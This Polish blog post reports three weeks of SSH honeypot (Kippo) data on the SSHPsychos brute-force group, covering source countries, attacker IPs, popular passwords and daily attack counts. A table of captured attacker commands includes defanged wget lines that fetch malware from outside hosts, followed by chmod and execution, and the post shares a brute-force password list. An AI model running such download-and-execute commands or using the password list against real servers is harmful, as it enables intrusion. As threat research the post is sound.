21 dni z honeypotem Kippo i grupa SSHPsychos

Zainspirowany ideą taniego honeypota z posta Piotr Marczaka, znanego jako steppe, na Z3S.pl zaopatrzyłem się w najnowsze Raspberry Pi (wersja B2) i uruchomiłem na nim Kippo – bardzo dobrego honeypota SSH.

Udało mi się idealnie z nim wstrzelić w działania grupy nieformalnie znanej jako SSHPsychos. Poniżej przedstawiam co udało mi się zebrać w trakcie badania na temat ataków oraz wcześniej wymienionej grupy.

Informacje podstawowe

Zacznijmy od początku… Czym jest honeypot?

Honeypot jest pułapką w którą mają złapać się napastnicy i śledzić ich działania w naszym systemie. Pozwala to na poznanie różnych metod ataku, zebranie linków do złośliwych plików oraz skryptów używanych do kompromitacji systemu. Nie da się ukryć, że lepszego narzędzia do dokładnego poznania metod napastników można ze świecą szukać 🙂

W sieci znajdziemy sporo projektów “garnków miodu”, do najpopularniejszych należą:

Dodatkowo polecam dedykowane dystrybucje GNU\Linux dla honeypotów

Jeżeli kogoś interesowałaby analiza funkcjonalności różnych rozwiązań to tutaj znajduje się bardzo obszerny raport CERT Polska na ten temat.

Grupa SSHPsychos

Pierwsze działania grupy zostały odnotowane w czerwcu 2014. Głównym obiektem zainteresowania są ataki brute force na protokół SSH. Do agresywnych ataków była wykorzystywana podsieć 103.41.124.0/23, lecz 30 marca, po blokadzie przez operatorów L3 została wyłączona. Oczywiście spotkało się to z reakcją napastników i została uruchomiona nowa sieć z której następują ataki o zakresie 43.255.190.0/23.

Brute force jest wspomagane słownikiem, z około 300,000 unikalnych haseł. Po udanym ataku, na hoście następuje login, z sieci firm hostingowych działających w Stanach Zjednoczonych, i pobranie pliku, który został zidentyfikowany jako rootkit. Następnie następuje instalacja złośnika i maszyna zaczyna pobierać pliki konfiguracyjne z serwerów C&C. Plik zawiera listę wykluczonych adresów IP oraz nazwy plików, które mają zostać wykasowane, celem maskowania rootkita.

Dane geograficzne

Zacznijmy od końca, czyli skąd następuje najwięcej ataków? Wzmożona działalność SSHPsychos powoduje, że 99% ataków odnotowanych przeze mnie następuje z Hong Kongu. Dlatego pominąłem podsieć używaną podczas ataków na wykresie.

Zaskoczeniem nie jest, że Chiny obejmują pierwsze miejsce z dużą przewagą. Natomiast kolejne miejsca są bardzo ciekawe, drugie miejsce ex aequo zajmują Francja i Brazylia (różnica tylko jednym atakiem), a trzecie Filipiny. Z “pewniaków” w zestawieniu brak tylko Rosji, która uplasowała się dopiero na dwunastym miejscu. Wykres został zestawiony z najczęściej atakujących 40 adresów IP.

  <th >
    Ilość ataków
  </th>
  
  <th >
    % TOP10 krajów
  </th>
</tr>

<tr>
  <td >
    Chiny
  </td>
  
  <td >
    2000
  </td>
  
  <td >
    62%
  </td>
</tr>

<tr>
  <td >
    Brazylia
  </td>
  
  <td >
    342
  </td>
  
  <td >
    11%
  </td>
</tr>

<tr>
  <td >
    Francja
  </td>
  
  <td >
    341
  </td>
  
  <td >
    11%
  </td>
</tr>

<tr>
  <td >
    Filipiny
  </td>
  
  <td >
    210
  </td>
  
  <td >
    7%
  </td>
</tr>

<tr>
  <td >
    Kazachstan
  </td>
  
  <td >
    97
  </td>
  
  <td >
    3%
  </td>
</tr>

<tr>
  <td >
    Turcja
  </td>
  
  <td >
    56
  </td>
  
  <td >
    2%
  </td>
</tr>

<tr>
  <td >
    Mołdawia
  </td>
  
  <td >
    52
  </td>
  
  <td >
    2%
  </td>
</tr>

<tr>
  <td >
    Peru
  </td>
  
  <td >
    47
  </td>
  
  <td >
    1%
  </td>
</tr>

<tr>
  <td >
    Korea Południowa
  </td>
  
  <td >
    42
  </td>
  
  <td >
    1%
  </td>
</tr>

<tr>
  <td >
    Japonia
  </td>
  
  <td >
    35
  </td>
  
  <td >
    1%
  </td>
</tr>

Jeszcze ciekawsza niż ostatnie dwa miejsca podium jest ostatnia czwórka wykresu czyli Mołdawia, Peru, Korea Południowa i Japonia. Kraje te przegoniły Rosję (jak już wcześniej wspominałem, dwunaste miejsce) odpowiadając za około 5,4% ataków przeprowadzonych z 40. najczęściej atakujących IP.

Adresy IP

Tak jak na poprzednim wykresie, pierwsza trójka (w zasadzie to czwórka…) na podium to Chiny, Francja, Brazylia i Filipiny. Łącznie nastąpiło 3856 ataków z podsieci niezwiązanych z SSHPsychos. Sieci pochodzące z Chin (adresy IP zaczynające się od 60.*, 155.*, 183.*, 222.*) są regularnie używane do ataków na SSH. Ciekawy jest też przypadek hosta z Francji (109.7.69.130), który na dzień pisania posta (11 kwietnia 2015) zaprzestał swojej działalności.

  <th >
    Ilość ataków
  </th>
  
  <th >
    % wszystkich ataków
  </th>
</tr>

<tr>
  <td >
    222.186.57.122
  </td>
  
  <td >
    476
  </td>
  
  <td >
    12%
  </td>
</tr>

<tr>
  <td >
    109.7.69.130
  </td>
  
  <td >
    341
  </td>
  
  <td >
    9%
  </td>
</tr>

<tr>
  <td >
    177.23.179.101
  </td>
  
  <td >
    264
  </td>
  
  <td >
    7%
  </td>
</tr>

<tr>
  <td >
    112.206.224.206
  </td>
  
  <td >
    210
  </td>
  
  <td >
    5%
  </td>
</tr>

<tr>
  <td >
    222.186.58.177
  </td>
  
  <td >
    112
  </td>
  
  <td >
    3%
  </td>
</tr>

<tr>
  <td >
    89.218.14.247
  </td>
  
  <td >
    97
  </td>
  
  <td >
    3%
  </td>
</tr>

<tr>
  <td >
    60.173.8.73
  </td>
  
  <td >
    96
  </td>
  
  <td >
    2%
  </td>
</tr>

<tr>
  <td >
    115.230.126.151
  </td>
  
  <td >
    81
  </td>
  
  <td >
    2%
  </td>
</tr>

<tr>
  <td >
    200.192.243.14
  </td>
  
  <td >
    78
  </td>
  
  <td >
    2%
  </td>
</tr>

<tr>
  <td >
    115.231.222.45
  </td>
  
  <td >
    77
  </td>
  
  <td >
    2%
  </td>
</tr>

<tr>
  <td >
    115.231.218.131
  </td>
  
  <td >
    76
  </td>
  
  <td >
    2%
  </td>
</tr>

<tr>
  <td >
    115.239.228.11
  </td>
  
  <td >
    76
  </td>
  
  <td >
    2%
  </td>
</tr>

<tr>
  <td >
    183.136.216.3
  </td>
  
  <td >
    73
  </td>
  
  <td >
    2%
  </td>
</tr>

<tr>
  <td >
    119.147.137.94
  </td>
  
  <td >
    65
  </td>
  
  <td >
    2%
  </td>
</tr>

<tr>
  <td >
    183.136.216.6
  </td>
  
  <td >
    65
  </td>
  
  <td >
    2%
  </td>
</tr>

Listę wszystkich adresów IP z których nastąpiły ataki znajdziesz tutaj (CSV), a z kolei tutaj (CSV) znajdziesz listę bez podsieci SSHPsychos.

SSHPsychos – Adresy IP

Jako ciekawostkę dodaję wykres adresów IP najczęściej atakujących hostów z SSHPsychos. Bardzo dobrze widać skalę z jaką działają napastnicy, zwłaszcza jak porównamy ten wykres z poprzednim (różnica rzędu wielkości – pierwsza pozycja na wykresie: 9983 ataki vs 476 ataki).

  <th >
    Ilość ataków
  </th>
  
  <th >
    % ataków SSHPsychos
  </th>
</tr>

<tr>
  <td >
    103.41.124.152
  </td>
  
  <td >
    9983
  </td>
  
  <td >
    9%
  </td>
</tr>

<tr>
  <td >
    103.41.124.59
  </td>
  
  <td >
    9916
  </td>
  
  <td >
    9%
  </td>
</tr>

<tr>
  <td >
    103.41.125.59
  </td>
  
  <td >
    9952
  </td>
  
  <td >
    9%
  </td>
</tr>

<tr>
  <td >
    103.41.124.165
  </td>
  
  <td >
    8036
  </td>
  
  <td >
    7%
  </td>
</tr>

<tr>
  <td >
    103.41.124.158
  </td>
  
  <td >
    7054
  </td>
  
  <td >
    7%
  </td>
</tr>

<tr>
  <td >
    103.41.124.35
  </td>
  
  <td >
    7531
  </td>
  
  <td >
    7%
  </td>
</tr>

<tr>
  <td >
    103.41.124.65
  </td>
  
  <td >
    7227
  </td>
  
  <td >
    7%
  </td>
</tr>

<tr>
  <td >
    103.41.124.33
  </td>
  
  <td >
    6915
  </td>
  
  <td >
    6%
  </td>
</tr>

<tr>
  <td >
    103.41.124.102
  </td>
  
  <td >
    6886
  </td>
  
  <td >
    6%
  </td>
</tr>

<tr>
  <td >
    103.41.124.93
  </td>
  
  <td >
    6553
  </td>
  
  <td >
    6%
  </td>
</tr>

<tr>
  <td >
    103.41.124.150
  </td>
  
  <td >
    6436
  </td>
  
  <td >
    6%
  </td>
</tr>

<tr>
  <td >
    103.41.124.103
  </td>
  
  <td >
    5672
  </td>
  
  <td >
    5%
  </td>
</tr>

<tr>
  <td >
    103.41.124.136
  </td>
  
  <td >
    5467
  </td>
  
  <td >
    5%
  </td>
</tr>

<tr>
  <td >
    103.41.124.133
  </td>
  
  <td >
    5443
  </td>
  
  <td >
    5%
  </td>
</tr>

<tr>
  <td >
    103.41.124.41
  </td>
  
  <td >
    5402
  </td>
  
  <td >
    5%
  </td>
</tr>

Aby jeszcze lepiej zobrazować jaki ruch jest generowany przez SSHPsychos – suma wszystkich ataków przeprowadzonych z adresów IP pochodzących spoza podsieci 103.41.124.0/23 to jedynie 38,63% prób najbardziej aktywnego hosta z grupy (pierwsza pozycja na wykresie – adres: 103.41.124.152).

Najczęściej używane hasła

Przekrój haseł jest bardzo szeroki, łącznie próbowano dostać się do Kippo 101241 hasłami. Najpopularniejsze hasła, w całości, pokrywają się ze słownikiem SSHPsychos. Bardzo cieszy polski akcent – hasło ‘kwiatek‘ na szóstym miejscu 🙂

We wcześniej wspomnianym słowniku znajduje się dużo więcej haseł wywodzących się z polskiego, głównie są to imiona z różnymi kombinacjami cyfr na końcu.

W czołówce zaskoczeniem dla mnie, jest obecność hasła ‘Leopold’. Hasło ‘123456‘ od zawsze jest w czołówce najpopularniejszych haseł (domyślnie jest dodane w Kippo), ‘root‘ to hasło używane przez zapominalskich administratorów, a ‘trixbox‘ jest domyślnym hasłem dla centralek VoIP o takiej samej nazwie.

  <th >
    Ilość prób
  </th>
  
  <th >
    % najczęstszych haseł
  </th>
</tr>

<tr>
  <td >
    123456
  </td>
  
  <td >
    178
  </td>
  
  <td >
    11%
  </td>
</tr>

<tr>
  <td >
    Leopold
  </td>
  
  <td >
    114
  </td>
  
  <td >
    7%
  </td>
</tr>

<tr>
  <td >
    root
  </td>
  
  <td >
    113
  </td>
  
  <td >
    7%
  </td>
</tr>

<tr>
  <td >
    trixbox
  </td>
  
  <td >
    112
  </td>
  
  <td >
    7%
  </td>
</tr>

<tr>
  <td >
    hitech
  </td>
  
  <td >
    103
  </td>
  
  <td >
    6%
  </td>
</tr>

<tr>
  <td >
    kwiatek
  </td>
  
  <td >
    102
  </td>
  
  <td >
    6%
  </td>
</tr>

<tr>
  <td >
    hemmelig
  </td>
  
  <td >
    102
  </td>
  
  <td >
    6%
  </td>
</tr>

<tr>
  <td >
    frodo
  </td>
  
  <td >
    101
  </td>
  
  <td >
    6%
  </td>
</tr>

<tr>
  <td >
    kids123
  </td>
  
  <td >
    101
  </td>
  
  <td >
    6%
  </td>
</tr>

<tr>
  <td >
    gigi
  </td>
  
  <td >
    98
  </td>
  
  <td >
    6%
  </td>
</tr>

<tr>
  <td >
    guessit
  </td>
  
  <td >
    98
  </td>
  
  <td >
    6%
  </td>
</tr>

<tr>
  <td >
    guess
  </td>
  
  <td >
    97
  </td>
  
  <td >
    6%
  </td>
</tr>

<tr>
  <td >
    immanuel
  </td>
  
  <td >
    97
  </td>
  
  <td >
    6%
  </td>
</tr>

<tr>
  <td >
    getlost123
  </td>
  
  <td >
    97
  </td>
  
  <td >
    6%
  </td>
</tr>

<tr>
  <td >
    harper
  </td>
  
  <td >
    96
  </td>
  
  <td >
    6%
  </td>
</tr>

Listę wszystkich zebranych przeze mnie haseł znajdziesz tutaj (CSV). Gotowy plik z formatem danych w/w haseł dla Kippo (/kippo/data/userdb.txt). Polecam go przyciąć do około 5-10k najpopularniejszych haseł.

Najczęściej używani użytkownicy

Nie ma tutaj czego komentować, nazwa użytkownika ‘root‘ zgarnęła całą pulę dla siebie (99,96%).

Listę wszystkich użytkowników znajdziesz tutaj (CSV).

Liczba ataków w poszczególnych dniach

Tak jak wspominałem na początku, w weekendy (piątki, soboty, niedziele) zajmowałem się różnymi pracami konserwacyjnymi, dlatego też widoczne są “wyrwy” w tych dniach na wykresie. Możemy zaobserwować dwie fale, pomiędzy którymi są około dwa tygodnie przerwy (11 i 27 marca). Również widać wyraźnie, że SSHPsychos preferują środek tygodnia, jako najlepszy czas na ataki 😉

  <th >
    Ilość ataków
  </th>
  
  <th >
    % wszystkich ataków
  </th>
</tr>

<tr>
  <td >
    08-03-15
  </td>
  
  <td >
    43
  </td>
  
  <td >
    0.00%
  </td>
</tr>

<tr>
  <td >
    09-03-15
  </td>
  
  <td >
    4
  </td>
  
  <td >
    0.00%
  </td>
</tr>

<tr>
  <td >
    10-03-15
  </td>
  
  <td >
    68407
  </td>
  
  <td >
    6.68%
  </td>
</tr>

<tr>
  <td >
    11-03-15
  </td>
  
  <td >
    135371
  </td>
  
  <td >
    13.23%
  </td>
</tr>

<tr>
  <td >
    12-03-15
  </td>
  
  <td >
    50066
  </td>
  
  <td >
    4.89%
  </td>
</tr>

<tr>
  <td >
    13-03-15
  </td>
  
  <td >
    211
  </td>
  
  <td >
    0.02%
  </td>
</tr>

<tr>
  <td >
    14-03-15
  </td>
  
  <td >
    6
  </td>
  
  <td >
    0.00%
  </td>
</tr>

<tr>
  <td >
    15-03-15
  </td>
  
  <td >
    61837
  </td>
  
  <td >
    6.04%
  </td>
</tr>

<tr>
  <td >
    16-03-15
  </td>
  
  <td >
    50879
  </td>
  
  <td >
    4.97%
  </td>
</tr>

<tr>
  <td >
    17-03-15
  </td>
  
  <td >
    75913
  </td>
  
  <td >
    7.42%
  </td>
</tr>

<tr>
  <td >
    18-03-15
  </td>
  
  <td >
    45469
  </td>
  
  <td >
    4.44%
  </td>
</tr>

<tr>
  <td >
    19-03-15
  </td>
  
  <td >
    15339
  </td>
  
  <td >
    1.50%
  </td>
</tr>

<tr>
  <td >
    20-03-15
  </td>
  
  <td >
    5
  </td>
  
  <td >
    0.00%
  </td>
</tr>

<tr>
  <td >
    21-03-15
  </td>
  
  <td >
    6
  </td>
  
  <td >
    0.00%
  </td>
</tr>

<tr>
  <td >
    22-03-15
  </td>
  
  <td >
    35236
  </td>
  
  <td >
    3.44%
  </td>
</tr>

<tr>
  <td >
    23-03-15
  </td>
  
  <td >
    46546
  </td>
  
  <td >
    4.55%
  </td>
</tr>

<tr>
  <td >
    24-03-15
  </td>
  
  <td >
    56119
  </td>
  
  <td >
    5.48%
  </td>
</tr>

<tr>
  <td >
    25-03-15
  </td>
  
  <td >
    54663
  </td>
  
  <td >
    5.34%
  </td>
</tr>

<tr>
  <td >
    26-03-15
  </td>
  
  <td >
    89266
  </td>
  
  <td >
    8.72%
  </td>
</tr>

<tr>
  <td >
    27-03-15
  </td>
  
  <td >
    130432
  </td>
  
  <td >
    12.74%
  </td>
</tr>

<tr>
  <td >
    28-03-15
  </td>
  
  <td >
    73740
  </td>
  
  <td >
    7.20%
  </td>
</tr>

<tr>
  <td >
    29-03-15
  </td>
  
  <td >
    33976
  </td>
  
  <td >
    3.32%
  </td>
</tr>

Polecenia wykonywane wewnątrz Kippo

Akurat w tej kwestii pozwolę sobię odpuścić wykres i przedstawić tylko tabelę. Łączna liczba wykonanych poleceń, tak jak wcześniej wspominałem, wyniosła 52 (12 unikalnych).

Niewielka liczba przechwyconych poleceń wynika z działania przez dłuższy czas na domyślnej konfiguracji haseł pozwalających uzyskać dostęp do hosta (dla przypomnienia, jedno hasło – ‘123456’). Było to działanie zamierzone – chciałem zobaczyć ilu napastników uda mi się złapać, nie poświęcając konfiguracji zbyt wiele czasu.

  <th >
    Częstość
  </th>
  
  <th >
    % poleceń
  </th>
</tr>

<tr>
  <td >
    ls -la /var/run/sftp.pid
  </td>
  
  <td >
    17
  </td>
  
  <td >
    33%
  </td>
</tr>

<tr>
  <td >
    #!/bin/sh
  </td>
  
  <td >
    13
  </td>
  
  <td >
    25%
  </td>
</tr>

<tr>
  <td >
    /root/disk
  </td>
  
  <td >
    4
  </td>
  
  <td >
    8%
  </td>
</tr>

<tr>
  <td >
    (cd /tmp
  </td>
  
  <td >
    4
  </td>
  
  <td >
    8%
  </td>
</tr>

<tr>
  <td >
    cat /proc/version
  </td>
  
  <td >
    4
  </td>
  
  <td >
    8%
  </td>
</tr>

<tr>
  <td >
    wget -P/root/ hxxp://107.150.63.178:88/disk
  </td>
  
  <td >
    2
  </td>
  
  <td >
    4%
  </td>
</tr>

<tr>
  <td >
    chmod 777 /root/disk
  </td>
  
  <td >
    2
  </td>
  
  <td >
    4%
  </td>
</tr>

<tr>
  <td >
    wget hxxp://www.baoshijz.com/en/upload/f36d-db06cccf-96965e6d-8d3df1f8-e44a.jpg
  </td>
  
  <td >
    2
  </td>
  
  <td >
    4%
  </td>
</tr>

<tr>
  <td >
    /bin/bash
  </td>
  
  <td >
    1
  </td>
  
  <td >
    2%
  </td>
</tr>

<tr>
  <td >
    logout
  </td>
  
  <td >
    1
  </td>
  
  <td >
    2%
  </td>
</tr>

<tr>
  <td >
    wget hxxp://notest.3vcn.net/d32_64.txt
  </td>
  
  <td >
    1
  </td>
  
  <td >
    2%
  </td>
</tr>

<tr>
  <td >
    wget hxxp://www.shartex.net/uploads/2015032504174839405.jpg
  </td>
  
  <td >
    1
  </td>
  
  <td >
    2%
  </td>
</tr>

Niestety nie miałem czasu na analizę złośliwych plików, które zostały pobrane przez napastników. Zadanie to zostawiam dla dociekliwych czytelników 😉

Jak się bronić przed atakami tego typu?

Metod obrony jest kilka, jeżeli jeszcze ich nie wdrożyłeś to zrób to najszybciej jak to możliwe – w znacznym stopniu ograniczysz takie ataki w przyszłości:

Szybkie podsumowanie + ogólne spostrzeżenia

Jeżeli masz jeszcze jakieś pomysły na wykorzystanie honeypotów w róznych scenariuszach lub Raspberry Pi jako podstawę sprzętową do konkretnych rozwiązań to komentarze są do Twojej dyspozycji. Wszelkie uwagi na temat konfiguracji honeypota, sposobu badania, itp. są również mile widziane.